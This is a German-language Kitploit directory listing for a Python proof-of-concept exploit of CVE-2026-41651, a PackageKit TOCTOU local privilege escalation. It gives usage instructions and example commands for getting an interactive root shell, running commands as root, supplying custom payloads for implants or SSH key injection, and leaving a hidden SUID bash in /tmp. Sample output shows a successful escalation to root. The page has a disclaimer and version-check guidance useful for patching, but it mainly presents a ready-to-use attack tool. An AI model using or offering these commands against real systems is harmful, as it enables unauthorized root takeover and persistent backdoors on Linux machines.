Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41651-Python | Kitploit
Tools/GitHubGitHub/mawussid/cve-2026-41651-python
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubmawussid/cve-2026-41651-python

CVE-2026-41651-Python

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Pack2TheRoot: CVE-2026-41651 (Python)

Python-PoC des PackageKit-TOCTOU-Exploits zur lokalen Rechteausweitung. Jeder lokale unprivilegierte Benutzer kann ohne Authentifizierung beliebige Pakete als root installieren.

FeldWert
CVECVE-2026-41651
KomponentePackageKit-Daemon (packagekitd)
Betroffene Versionen1.0.2 – 1.3.4
Behoben in1.3.5
AuswirkungLokale Rechteausweitung → root

Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt.


Anforderungen

Verwundbares Betriebssystem: Jede Linux-Distribution, auf der PackageKit >= 1.0.2 <= 1.3.4 ausgeführt wird.

PoC-Einschränkung: Der eingebaute Paket-Builder erzeugt nur .deb-Dateien, daher benötigt das Skript einen Debian/Ubuntu-Host, um unverändert zu laufen. Auf RPM-basierten Systemen stellen Sie ein benutzerdefiniertes postinst-Payload über --payload-script bereit und stellen Sie sicher, dass dpkg/dpkg-dev verfügbar ist, oder passen Sie den Builder an.

Python: 3.6+

Systempakete (Debian/Ubuntu):

root@kitploit:~
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0

Hinweis zu Abhängigkeiten: python3-dbus und python3-gi gehören nicht zur Python-Standardbibliothek, aber sie sind fast immer auf jedem System vorhanden, auf dem eine grafische Desktop-Umgebung (GNOME, KDE, XFCE, etc.) läuft, da diese Umgebungen direkt von ihnen abhängen. Bei einer Standard-Ubuntu-Desktop-Installation sind beide Bibliotheken ohne manuelle Installation verfügbar. Auf einem minimalen Server ohne GUI können sie fehlen; in diesem Fall erfordert der obige apt install sudo, was dem LPE-Kontext widerspricht. In der Praxis verfügt jede Maschine, auf der PackageKit mit einer Desktop-Sitzung läuft, bereits über diese Abhängigkeiten.

gir1.2-glib-2.0 stellt die GObject-Introspection-Typelib-Dateien für GLib bereit. python3-gi ist die Python-Bindungs-Engine, benötigt aber diese Typelib-Dateien, um mit GLib zu kommunizieren. Ohne dieses Paket schlägt from gi.repository import GLib fehl, selbst wenn python3-gi installiert ist. Beide werden automatisch von jeder GNOME-basierten Desktop-Umgebung installiert.

Hinweis zum Versuch mit reiner Standardbibliothek: Eine frühere Version dieses PoCs versuchte, diese Abhängigkeiten vollständig zu entfernen, indem die D-Bus-Aufrufe durch gdbus/dbus-send Subprozesse ersetzt wurden und anschließend das D-Bus-Drahtprotokoll direkt über den Unix-Socket gesprochen wurde. Beide Ansätze scheiterten daran, die TOCTOU-Race zuverlässig auszulösen: Das Erzeugen externer Prozesse führt genug Latenz zwischen den beiden InstallFiles-Aufrufen ein, sodass PackageKit Schritt 1 verarbeitet, bevor Schritt 2 eintrifft, was die Race bricht. Die dbus-python-Bindung sendet beide Aufrufe fire-and-forget über denselben bereits geöffneten Socket ohne Fork-Overhead, was das Timing ermöglicht. Die Version mit reiner Standardbibliothek wurde aus diesem Grund zurückgesetzt.

PackageKit-Version überprüfen (ohne den PoC):

root@kitploit:~
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii

Verwendung

root@kitploit:~
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
                         [--payload-script FILE] [--suid-path PATH]
                         [--no-cleanup] [--timeout N] [--quiet]

Beispiele:

root@kitploit:~
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check

# Full exploit → interactive root shell
python3 cve-2026-41651.py

# Run a single command as root
python3 cve-2026-41651.py --exec "id"

# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh

# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup

# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet

Erwartete Ausgabe:

root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy   : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

Credits

Basiert auf dem ursprünglichen C-PoC von Vozec. Dies ist eine Python-Neuimplementierung für Portabilität. Alle Anerkennung für die Exploit-Technik gebührt dem ursprünglichen Autor.

Die Python-Neuimplementierung wurde mit Unterstützung von Claude (Anthropic) entwickelt.

Tool herunterladen
FlagBeschreibung
--checkPackageKit-Version abfragen und Verwundbarkeit melden, dann beenden
--exec CMDEinen einzelnen Befehl als root ausführen, anstatt eine interaktive Shell zu öffnen
--payload-script FILEEin benutzerdefiniertes postinst-Skript anstelle des eingebauten SUID-Bash-Droppers verwenden
--suid-path PATHWo die SUID-Bash abgelegt werden soll (Standard: /tmp/.suid_bash)
--no-cleanupDie SUID-Bash nach Beenden der Shell behalten
--timeout NSekunden, die auf die SUID-Bash gewartet wird (Standard: 120)
--quietFortschrittsausgabe unterdrücken (für Skripte)